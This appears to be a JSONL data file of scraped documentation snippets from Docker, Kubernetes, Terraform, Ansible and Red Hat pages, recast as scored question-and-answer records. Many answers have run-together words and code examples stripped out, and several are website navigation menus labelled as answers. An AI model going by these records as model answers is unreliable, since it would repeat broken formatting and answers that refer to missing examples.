{"id": "doc_1848801860ea", "question": "Foundations of Docker", "question_body": "", "answer": "Install Docker and jump into discovering what Docker is.\nLearn the foundational concepts and workflows of Docker.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://docs.docker.com/get-started/", "collected_at": "2026-01-17T09:13:50.250574"}
{"id": "doc_b3afb7d16151", "question": "Environment replacement", "question_body": "", "answer": "Environment variables (declared withtheENVstatement) can also be\nused in certain instructions as variables to be interpreted by the\nDockerfile. Escapes are also handled for including variable-like syntax\ninto a statement literally.\nEnvironment variables are notated in the Dockerfile either with$variable_nameor${variable_name}. They are treated equivalently and the\nbrace syntax is typically used to address issues with variable names with no\nwhitespace, like${foo}_bar.\nThe${variable_name}syntax also supports a few of the standardbashmodifiers as specified below:\n${variable:-word}indicates that ifvariableis set then the result\nwill be that value. Ifvariableis not set thenwordwill be the result.${variable:+word}indicates that ifvariableis set thenwordwill be\nthe result, otherwise the result is the empty string.\nThe following variable replacements are supported in a pre-release version of\nDockerfile syntax, when using the# syntax=docker/dockerfile-upstream:mastersyntax\ndirective in your Dockerfile:\n${variable#pattern}removes the shortest match ofpatternfromvariable,\nseeking from the start of the string.str=foobarbazecho${str#f*b}# arbaz${variable##pattern}removes the longest match ofpatternfromvariable,\nseeking from the start of the string.str=foobarbazecho${str##f*b}# az${variable%pattern}removes the shortest match ofpatternfromvariable,\nseeking backwards from the end of the string.string=foobarbazecho${string%b*}# foobar${variable%%pattern}removes the longest match ofpatternfromvariable,\nseeking backwards from the end of the string.string=foobarbazecho${string%%b*}# foo${variable/pattern/replacement}replace the first occurrence ofpatterninvariablewithreplacementstring=foobarbazecho${string/ba/fo}# fooforbaz${variable//pattern/replacement}replaces all occurrences ofpatterninvariablewithreplacementstring=foobarbazecho${string//ba/fo}# fooforfoz", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.268987"}
{"id": "doc_93f61028c24b", "question": "Use a different shell", "question_body": "", "answer": "You can change the default shell using theSHELLcommand. For example:\nFor more information, seeSHELL.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269046"}
{"id": "doc_c9d506ccfd72", "question": "Understand how ARG and FROM interact", "question_body": "", "answer": "FROMinstructions support variables that are declared by anyARGinstructions that occur before the firstFROM.\nAnARGdeclared before aFROMis outside of a build stage, so it\ncan't be used in any instruction after aFROM. To use the default value of\nanARGdeclared before the firstFROMuse anARGinstruction without\na value inside of a build stage:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269103"}
{"id": "doc_83f2edb5c334", "question": "Cache invalidation for RUN instructions", "question_body": "", "answer": "The cache forRUNinstructions isn't invalidated automatically during\nthe next build. The cache for an instruction likeRUN apt-get dist-upgrade -ywill be reused during the next build. The\ncache forRUNinstructions can be invalidated by using the--no-cacheflag, for exampledocker build --no-cache.\nSee theDockerfile Best Practices\nguidefor more information.\nThe cache forRUNinstructions can be invalidated byADDandCOPYinstructions.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269156"}
{"id": "doc_4c761e45168c", "question": "RUN --mount=type=bind", "question_body": "", "answer": "This mount type allows binding files or directories to the build container. A\nbind mount is read-only by default.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269196"}
{"id": "doc_a81d34d2d5e8", "question": "RUN --mount=type=cache", "question_body": "", "answer": "This mount type allows the build container to cache directories for compilers\nand package managers.\nContents of the cache directories persists between builder invocations without\ninvalidating the instruction cache. Cache mounts should only be used for better\nperformance. Your build should work with any contents of the cache directory as\nanother build may overwrite the files or GC may clean it if more storage space\nis needed.\nApt needs exclusive access to its data, so the caches use the optionsharing=locked, which will make sure multiple parallel builds using\nthe same cache mount will wait for each other and not access the same\ncache files at the same time. You could also usesharing=privateif\nyou prefer to have each build create another cache directory in this\ncase.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269271"}
{"id": "doc_a677e3037f42", "question": "RUN --mount=type=tmpfs", "question_body": "", "answer": "This mount type allows mountingtmpfsin the build container.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269306"}
{"id": "doc_5437e8e086af", "question": "RUN --mount=type=secret", "question_body": "", "answer": "This mount type allows the build container to access secret values, such as\ntokens or private keys, without baking them into the image.\nBy default, the secret is mounted as a file. You can also mount the secret as\nan environment variable by setting theenvoption.\nThe following example takes the secretAPI_KEYand mounts it as an\nenvironment variable with the same name.\nAssuming that theAPI_KEYenvironment variable is set in the build\nenvironment, you can build this with the following command:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269401"}
{"id": "doc_2d6475d14dd7", "question": "RUN --mount=type=ssh", "question_body": "", "answer": "This mount type allows the build container to access SSH keys via SSH agents,\nwith support for passphrases.\nYou can also specify a path to*.pemfile on the host directly instead of$SSH_AUTH_SOCK.\nHowever, pem files with passphrases are not supported.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269462"}
{"id": "doc_fff434f85302", "question": "RUN --network=default", "question_body": "", "answer": "Equivalent to not supplying a flag at all, the command is run in the default\nnetwork for the build.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269493"}
{"id": "doc_89255cab320a", "question": "MAINTAINER (deprecated)", "question_body": "", "answer": "TheMAINTAINERinstruction sets theAuthorfield of the generated images.\nTheLABELinstruction is a much more flexible version of this and you should use\nit instead, as it enables setting any metadata you require, and can be viewed\neasily, for example withdocker inspect. To set a label corresponding to theMAINTAINERfield you could use:\nThis will then be visible fromdocker inspectwith the other labels.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269554"}
{"id": "doc_54fc77eca15b", "question": "COPY --chown --chmod", "question_body": "", "answer": "The--chownand--chmodfeatures are only supported on Dockerfiles used to build Linux containers,\nand doesn't work on Windows containers. Since user and group ownership concepts do\nnot translate between Linux and Windows, the use of/etc/passwdand/etc/groupfor\ntranslating user and group names to IDs restricts this feature to only be viable for\nLinux OS-based containers.\nAll files and directories copied from the build context are created with a UID and GID of0unless the\noptional--chownflag specifies a given username, groupname, or UID/GID\ncombination to request specific ownership of the copied content. The\nformat of the--chownflag allows for either username and groupname strings\nor direct integer UID and GID in any combination. Providing a username without\ngroupname or a UID without GID will use the same numeric UID as the GID. If a\nusername or groupname is provided, the container's root filesystem/etc/passwdand/etc/groupfiles will be used to perform the translation\nfrom name to integer UID or GID respectively. The following examples show\nvalid definitions for the--chownflag:\nIf the container root filesystem doesn't contain either/etc/passwdor/etc/groupfiles and either user or group names are used in the--chownflag, the build will fail on theCOPYoperation. Using numeric IDs requires\nno lookup and does not depend on container root filesystem content.\nWith the Dockerfile syntax version 1.10.0 and later,\nthe--chmodflag supports variable interpolation,\nwhich lets you define the permission bits using build arguments:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269663"}
{"id": "doc_07860d0316cb", "question": "Exec form ENTRYPOINT example", "question_body": "", "answer": "You can use the exec form ofENTRYPOINTto set fairly stable default commands\nand arguments and then use either form ofCMDto set additional defaults that\nare more likely to be changed.\nWhen you run the container, you can see thattopis the only process:\nTo examine the result further, you can usedocker exec:\nAnd you can gracefully requesttopto shut down usingdocker stop test.\nThe following Dockerfile shows using theENTRYPOINTto run Apache in the\nforeground (i.e., asPID 1):\nIf you need to write a starter script for a single executable, you can ensure that\nthe final executable receives the Unix signals by usingexecandgosucommands:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269760"}
{"id": "doc_b2900215e4bb", "question": "Shell form ENTRYPOINT example", "question_body": "", "answer": "You can specify a plain string for theENTRYPOINTand it will execute in/bin/sh -c.\nThis form will use shell processing to substitute shell environment variables,\nand will ignore anyCMDordocker runcommand line arguments.\nTo ensure thatdocker stopwill signal any long runningENTRYPOINTexecutable\ncorrectly, you need to remember to start it withexec:\nWhen you run this image, you'll see the singlePID 1process:\nWhich exits cleanly ondocker stop:\nIf you forget to addexecto the beginning of yourENTRYPOINT:\nYou can then run it (giving it a name for the next step):\nYou can see from the output oftopthat the specifiedENTRYPOINTis notPID 1.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269861"}
{"id": "doc_f5b3ff6efc58", "question": "Understand how CMD and ENTRYPOINT interact", "question_body": "", "answer": "BothCMDandENTRYPOINTinstructions define what command gets executed when running a container.\nThere are few rules that describe their co-operation.\nDockerfile should specify at least one ofCMDorENTRYPOINTcommands.ENTRYPOINTshould be defined when using the container as an executable.CMDshould be used as a way of defining default arguments for anENTRYPOINTcommand\nor for executing an ad-hoc command in a container.CMDwill be overridden when running the container with alternative arguments.\nThe table below shows what command is executed for differentENTRYPOINT/CMDcombinations:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269922"}
{"id": "doc_89703db06dd8", "question": "Notes about specifying volumes", "question_body": "", "answer": "Keep the following things in mind about volumes in the Dockerfile.\nVolumes on Windows-based containers: When using Windows-based containers,\nthe destination of a volume inside the container must be one of:a non-existing or empty directorya drive other thanC:Changing the volume from within the Dockerfile: If any build steps change the\ndata within the volume after it has been declared, those changes will be discarded\nwhen using the legacy builder. When using Buildkit, the changes will instead be kept.JSON formatting: The list is parsed as a JSON array.\nYou must enclose words with double quotes (\") rather than single quotes (').The host directory is declared at container run-time: The host directory\n(the mountpoint) is, by its nature, host-dependent. This is to preserve image\nportability, since a given host directory can't be guaranteed to be available\non all hosts. For this reason, you can't mount a host directory from\nwithin the Dockerfile. TheVOLUMEinstruction does not support specifying ahost-dirparameter. You must specify the mountpoint when you create or run the container.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.269970"}
{"id": "doc_cc3a96a369a2", "question": "Automatic platform ARGs in the global scope", "question_body": "", "answer": "This feature is only available when using theBuildKitbackend.\nBuildKit supports a predefined set ofARGvariables with information on the platform of\nthe node performing the build (build platform) and on the platform of the\nresulting image (target platform). The target platform can be specified with\nthe--platformflag ondocker build.\nThe followingARGvariables are set automatically:\nTARGETPLATFORM- platform of the build result. Eglinux/amd64,linux/arm/v7,windows/amd64.TARGETOS- OS component of TARGETPLATFORMTARGETARCH- architecture component of TARGETPLATFORMTARGETVARIANT- variant component of TARGETPLATFORMBUILDPLATFORM- platform of the node performing the build.BUILDOS- OS component of BUILDPLATFORMBUILDARCH- architecture component of BUILDPLATFORMBUILDVARIANT- variant component of BUILDPLATFORM\nThese arguments are defined in the global scope so are not automatically\navailable inside build stages or for yourRUNcommands. To expose one of\nthese arguments inside the build stage redefine it without value.\nFor example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270054"}
{"id": "doc_9249fe39c0a1", "question": "BuildKit built-in build args", "question_body": "", "answer": "When using a Git context,.gitdir is not kept on checkouts. It can be\nuseful to keep it around if you want to retrieve git information during\nyour build:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270112"}
{"id": "doc_8f350dff000c", "question": "Impact on build caching", "question_body": "", "answer": "ARGvariables are not persisted into the built image asENVvariables are.\nHowever,ARGvariables do impact the build cache in similar ways. If a\nDockerfile defines anARGvariable whose value is different from a previous\nbuild, then a \"cache miss\" occurs upon its first usage, not its definition. In\nparticular, allRUNinstructions following anARGinstruction use theARGvariable implicitly (as an environment variable), thus can cause a cache miss.\nAll predefinedARGvariables are exempt from caching unless there is a\nmatchingARGstatement in the Dockerfile.\nFor example, consider these two Dockerfile:\nIf you specify--build-arg CONT_IMG_VER=\non the command line, in both\ncases, the specification on line 2 doesn't cause a cache miss; line 3 does\ncause a cache miss.ARG CONT_IMG_VERcauses theRUNline to be identified\nas the same as runningCONT_IMG_VER=\necho hello, so if the\nchanges, you get a cache miss.\nConsider another example under the same command line:\nIn this example, the cache miss occurs on line 3. The miss happens because\nthe variable's value in theENVreferences theARGvariable and that\nvariable is changed through the command line. In this example, theENVcommand causes the image to include the value.\nIf anENVinstruction overrides anARGinstruction of the same name, like\nthis Dockerfile:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270206"}
{"id": "doc_c5a049f3600b", "question": "Copy or mount from stage, image, or context", "question_body": "", "answer": "As of Dockerfile syntax 1.11, you can useONBUILDwith instructions that copy\nor mount files from other stages, images, or build contexts. For example:\nIf the source offromis a build stage, the stage must be defined in the\nDockerfile whereONBUILDgets triggered. If it's a named context, that\ncontext must be passed to the downstream build.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270251"}
{"id": "doc_4c15ec5b69ba", "question": "Example: Running a multi-line script", "question_body": "", "answer": "If the command only contains a here-document, its contents is evaluated with\nthe default shell.\nAlternatively, shebang header can be used to define an interpreter.\nMore complex examples may use multiple here-documents.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270322"}
{"id": "doc_dffa9ee5710f", "question": "Example: Creating inline files", "question_body": "", "answer": "WithCOPYinstructions, you can replace the source parameter with a here-doc\nindicator to write the contents of the here-document directly to a file. The\nfollowing example creates agreeting.txtfile containinghello worldusing\naCOPYinstruction.\nRegular here-docvariable expansion and tab stripping rulesapply.\nThe following example shows a small Dockerfile that creates ahello.shscript\nfile using aCOPYinstruction with a here-document.\nIn this case, file script prints \"hello bar\", because the variable is expanded\nwhen theCOPYinstruction gets executed.\nIf instead you were to quote any part of the here-document wordEOT, the\nvariable would not be expanded at build-time.\nNote thatARG FOO=baris excessive here, and can be removed. The variable\ngets interpreted at runtime, when the script is invoked:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.docker.com/engine/reference/builder/", "collected_at": "2026-01-17T09:14:01.270417"}
{"id": "doc_1d8061ea3cb3", "question": "Stateless Applications", "question_body": "", "answer": "Exposing an External IP Address to Access an Application in a ClusterExample: Deploying PHP Guestbook application with Redis", "tags": ["https://kubernetes"], "source": "official_docs", "category": "https://kubernetes", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://kubernetes.io/docs/tutorials/", "collected_at": "2026-01-17T09:15:03.767280"}
{"id": "doc_9e770689dd77", "question": "Stateful Applications", "question_body": "", "answer": "StatefulSet BasicsExample: WordPress and MySQL with Persistent VolumesExample: Deploying Cassandra with Stateful SetsRunning ZooKeeper, A CP Distributed System", "tags": ["https://kubernetes"], "source": "official_docs", "category": "https://kubernetes", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://kubernetes.io/docs/tutorials/", "collected_at": "2026-01-17T09:15:03.767431"}
{"id": "doc_1c9674fa134b", "question": "Manage Infrastructure", "question_body": "", "answer": "Configuration LanguageDescribe infrastructure on various providers with Terraform's configuration language.Terraform CLIUse the Terraform CLI to manage configuration, plugins, infrastructure, and state.", "tags": ["https://developer"], "source": "official_docs", "category": "https://developer", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://developer.hashicorp.com/terraform/docs", "collected_at": "2026-01-17T09:15:04.272751"}
{"id": "doc_7cba7f47b416", "question": "Inventories in INI or YAML format", "question_body": "", "answer": "You can create inventories in eitherINIfiles or inYAML.\nIn most cases, such as the example in the preceding steps,INIfiles are straightforward and easy to read for a small number of managed nodes.\nCreating an inventory inYAMLformat becomes a sensible option as the number of managed nodes increases.\nFor example, the following is an equivalent of theinventory.inithat declares unique names for managed nodes and uses theansible_hostfield:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/getting_started/get_started_inventory.html", "collected_at": "2026-01-17T09:15:09.893192"}
{"id": "doc_fe81d9fa4ced", "question": "Tips for building inventories", "question_body": "", "answer": "Ensure that group names are meaningful and unique. Group names are also case sensitive.Avoid spaces, hyphens, and preceding numbers (usefloor_19, not19th_floor) in group names.Group hosts in your inventory logically according to theirWhat,Where, andWhen.WhatGroup hosts according to the topology, for example: db, web, leaf, spine.WhereGroup hosts by geographic location, for example: datacenter, region, floor, building.WhenGroup hosts by stage, for example: development, test, staging, production.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/getting_started/get_started_inventory.html", "collected_at": "2026-01-17T09:15:09.893253"}
{"id": "doc_593d4b73b2a0", "question": "Solutions by industry", "question_body": "", "answer": "AutomotiveFinancial servicesHealthcareIndustrial sectorMedia and entertainmentPublic sector (Global)Public sector (U.S.)Telecommunications", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.522728"}
{"id": "doc_d9865903ee2a", "question": "Discover cloud technologies", "question_body": "", "answer": "Learn how to use our cloud products and solutions at your own pace in the Red Hat® Hybrid Cloud Console.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.523900"}
{"id": "doc_32a80cee69a0", "question": "Training & certification", "question_body": "", "answer": "Courses and examsCertificationsRed Hat AcademyLearning communityLearning subscription\nExplore training", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.524967"}
{"id": "doc_ec657be0670d", "question": "Build solutions powered by trusted partners", "question_body": "", "answer": "Find solutions from our collaborative community of experts and technologies in the Red Hat® Ecosystem Catalog.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.525901"}
{"id": "doc_80e33ead98bf", "question": "I want to learn more about:", "question_body": "", "answer": "AIApplication modernizationAutomationCloud-native applicationsLinuxVirtualization", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.526759"}
{"id": "doc_c969a1826757", "question": "Artificial intelligence", "question_body": "", "answer": "Updates on the platforms that free customers to run AI workloads anywhere", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.527077"}
{"id": "doc_4b6a446cf271", "question": "Red Hat legal and privacy links", "question_body": "", "answer": "About Red HatJobsEventsLocationsContact Red HatRed Hat BlogInclusion at Red HatCool Stuff StoreRed Hat Summit", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.redhat.com/en/blog/making-open-source-more-inclusive-eradicating-problematic-language", "collected_at": "2026-01-17T09:15:15.527191"}
{"id": "doc_e3df79ede136", "question": "Desired state and idempotency", "question_body": "", "answer": "Most Ansible modules check whether the desired final state has already been achieved and exit without performing any actions if that state has been achieved. Repeating the task does not change the final state. Modules that behave this way are ‘idempotent’. Whether you run a playbook once or multiple times, the outcome should be the same. However, not all playbooks and not all modules behave this way. If you are unsure, test your playbooks in a sandbox environment before running them multiple times in production.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html", "collected_at": "2026-01-17T09:15:16.985785"}
{"id": "doc_90e41821eb3a", "question": "Running playbooks in check mode", "question_body": "", "answer": "The Ansible check mode allows you to execute a playbook without applying any alterations to your systems. You can use check mode to test playbooks before you implement them in a production environment.\nTo run a playbook in check mode, pass the-Cor--checkflag to theansible-playbookcommand:\nExecuting this command runs the playbook normally. Instead of implementing any modifications, Ansible provides a report on the changes it would have made. This report includes details such as file modifications, command execution, and module calls.\nCheck mode offers a safe and practical approach to examine the functionality of your playbooks without risking unintended changes to your systems. Check mode is also a valuable tool for troubleshooting playbooks that are not functioning as expected.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html", "collected_at": "2026-01-17T09:15:16.985859"}
{"id": "doc_dfbb14bb452b", "question": "Verifying playbooks", "question_body": "", "answer": "You may want to verify your playbooks to catch syntax errors and other problems before you run them. Theansible-playbookcommand offers several options for verification, including--check,--diff,--list-hosts,--list-tasks, and--syntax-check. TheTools for validating playbookstopic describes other tools for validating and testing playbooks.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html", "collected_at": "2026-01-17T09:15:16.985906"}
{"id": "doc_1364d663b921", "question": "Handling undefined variables", "question_body": "", "answer": "Filters can help you manage missing or undefined variables by providing defaults or making some variables optional. If you configure Ansible to ignore most undefined variables, you can mark some variables as requiring values with themandatoryfilter.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405464"}
{"id": "doc_936708e03e52", "question": "Providing default values", "question_body": "", "answer": "You can provide default values for variables directly in your templates using the Jinja2 ‘default’ filter. This is often a better approach than failing if a variable is not defined:\nIn the above example, if the variable ‘some_variable’ is not defined, Ansible uses the default value 5, rather than raising an “undefined variable” error and failing. If you are working within a role, you can also add role defaults to define the default values for variables in your role. To learn more about role defaults seeRole directory structure.\nBeginning in version 2.8, attempting to access an attribute of an Undefined value in Jinja will return another Undefined value, rather than throwing an error immediately. This means that you can now simply use\na default with a value in a nested data structure (in other words,{{foo.bar.baz|default('DEFAULT')}}) when you do not know if the intermediate values are defined.\nIf you want to use the default value when variables evaluate to false or an empty string you have to set the second parameter totrue:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405556"}
{"id": "doc_07c14e7f591d", "question": "Making variables optional", "question_body": "", "answer": "By default, Ansible requires values for all variables in a templated expression. However, you can make specific module variables optional. For example, you might want to use a system default for some items and control the value for others. To make a module variable optional, set the default value to the special variableomit:\nIn this example, the default mode for the files/tmp/fooand/tmp/baris determined by the umask of the system. Ansible does not send a value formode. Only the third file,/tmp/baz, receives themode=0444option.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405614"}
{"id": "doc_7d0dac840b27", "question": "Defining mandatory values", "question_body": "", "answer": "If you configure Ansible to ignore undefined variables, you may want to define some values as mandatory. By default, Ansible fails if a variable in your playbook or command is undefined. You can configure Ansible to allow undefined variables by settingDEFAULT_UNDEFINED_VAR_BEHAVIORtofalse. In that case, you may want to require some variables to be defined. You can do this with:\nThe variable value will be used as is, but the template evaluation will raise an error if it is undefined.\nA convenient way of requiring a variable to be overridden is to give it an undefined value using theundef()function.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405677"}
{"id": "doc_fc6eec1b6ae1", "question": "Defining different values for true/false/null (ternary)", "question_body": "", "answer": "You can create a test, then define one value to use when the test returns true and another when the test returns false (new in version 1.9):\nIn addition, you can define one value to use on true, one value on false and a third value on null (new in version 2.8):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405840"}
{"id": "doc_689d9c350a71", "question": "Managing data types", "question_body": "", "answer": "You might need to know, change, or set the data type on a variable. For example, a registered variable might contain a dictionary when your next task needs a list, or a userpromptmight return a string when your playbook needs a boolean value. Use theansible.builtin.type_debug,ansible.builtin.dict2items, andansible.builtin.items2dictfilters to manage data types. You can also use the data type itself to cast a value as a specific data type.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.405992"}
